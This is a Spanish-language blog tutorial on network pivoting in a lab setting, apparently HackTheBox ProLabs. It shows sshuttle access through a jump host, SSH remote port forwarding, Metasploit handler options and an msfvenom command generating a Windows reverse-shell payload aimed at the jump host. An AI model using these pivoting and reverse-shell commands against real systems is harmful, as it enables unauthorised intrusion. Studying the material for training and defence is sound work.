¡Muy buenas a todos!
Estos últimos meses he estado trabajando bastante con técnicas de portforwarding (sobre todo en los ProLabs de HackTheBox) y me gustaría contaros un pequeño caso que me encontré que os puede ser de utilidad algún día.
Primero, pongámonos en contexto. Imaginemos la siguiente situación: queremos acceder a cierta máquina víctima C a la cual solo tenemos acceso desde cierta máquina de salto B (sobre la que tenemos control), pero no desde nuestra máquina atacante A. Además, dicha máquina C es vulnerable a cierto exploit X que solo podemos lanzar desde nuestra máquina atacante A y, obligatoriamente, con una reverse shell, no hay posibilidad de usar una bind shell. ¿Cómo lo hacemos?
Fig 1: Esquema de red. |
Bien, el primer paso será conseguir tener visibilidad sobre la máquina C. Para ello, emplearemos sshuttle.
Nota: como hemos comentado antes, vamos a suponer que tenemos acceso a la máquina B por SSH y privilegios de administrador.
Desde la máquina atacante A (Kali-Azul), lanzaremos el siguiente comando:
sshuttle -r user@IP_MaquinaB Red_Máquina_C
Donde:
- IP_MaquinaB es 192.168.57.129.
- Red_Máquina_C es la VLAN donde se encuentra la máquina C, en este caso, 172.16.1.0/24.
Fig 2: Sustituyendo, quedaría así. |
Ahora, si todo ha funcionado correctamente, desde nuestra Kali tendremos visibilidad sobre la máquina víctima C.
Fig 3: Confirmo, tenemos visibilidad. |
Nota: previo a lanzar el siguiente comando, hay que modificar la configuración de SSH de la máquina de salto con la directiva GatewayPorts clientspecified ya que, por defecto, SSH usa localhost para este tipo de redirecciones.
Fig 4: Configuración necesaria de SSH en la máquina de salto. |
Usaremos el siguiente comando:
ssh -R IP_Maquina_Salto_VLAN_1:Puerto_Escucha:IP_Kali:Puerto_Escucha_Kali user@IP_IP_Maquina_Salto_VLAN_1
ssh -R 172.16.1.129:9999:192.168.57.156:8080 mrsquid@172.16.1.129
Con esto estamos indicando que toda conexion que reciba nuestra máquina de salto en el puerto 9999 sea redirigida a nuestra máquina atacante en el puerto 8080.
Fig 5: Ejemplo de comando. |
Si ahora intentamos acceder desde la máquina víctima a la máquina atacante, podremos ver que llegamos sin problemas.
Fig 6: Conexión de prueba al servidor de python levantado en la máquina atacante. |
Recapitulando, hasta el momento tenemos visibilidad desde nuestra máquina atacante hasta la máquina víctima y, también, tenemos visibilidad desde la máquina víctima a nuestra máquina atacante (aunque solo al puerto 8080). Ahora solo nos faltaría arrancar Metasploit y preparar el exploit.
Aunque no lo hemos comentado, lanzaremos el exploit manualmente (desde otra consola) y recibiremos la reverse shell en Metasploit. Ahora bien, como estamos usando un máquina de salto, tendremos que indicar a Metasploit esta situación mediante las opciones ReverseListenerBindAddress y ReverseListinerBindPort. Gracias a esto, Metasploit se encargará de enrutar todo el tráfico recibido en 172.16.1.129:9999 a 192.168.57.156:8080 y, así, conseguir que la reverse shell llegue a destino.
Nota: si no lo configuramos así, la shell llegará, pero morirá instantáneamente.
La configuración quedaría de la siguiente manera:
- Handler como exploit.
- Shell_reverse_tcp como payload.
- LHOST y LPORT con los valores de la máquina de salto.
Fig 7: Valores asignados a la reverse shell.
- ReverseListenerBindAddress y ReverseListenerBindPort con los valores de nuestra máquina atacante.
Fig 8: Valores asignados. |
Una vez todo listo, si ejecutamos el exploit tras lanzar el listener de Metasploit, veremos como la shell llega a buen puerto.
Fig 9: Pwned! |
Para terminar, os dejo el mismo diagrama del principio, pero con el tráfico seguido por el exploit.
Fig 10: Diagrama de red final. |
Nota: la vulnerabilidad se encontraba en un pequeño ejecutable con un simple buffer overflow escuchando en la máquina víctima. El payload que se ejecuta es una generic reverse shell de Metasploit creada con el siguiente comando.
msfvenom -p windows/shell_reverse_tcp LHOST=172.16.1.129 LPORT=9999 -f
PD: Si algo no ha quedado claro o me he equivocado en algo, podéis mandarme DM por Twitter. Estaré encantado de leeros.
Happy pivoting!
Referencias:
- https://blog.notso.pro/2019-10-24-tactical-debriefing1/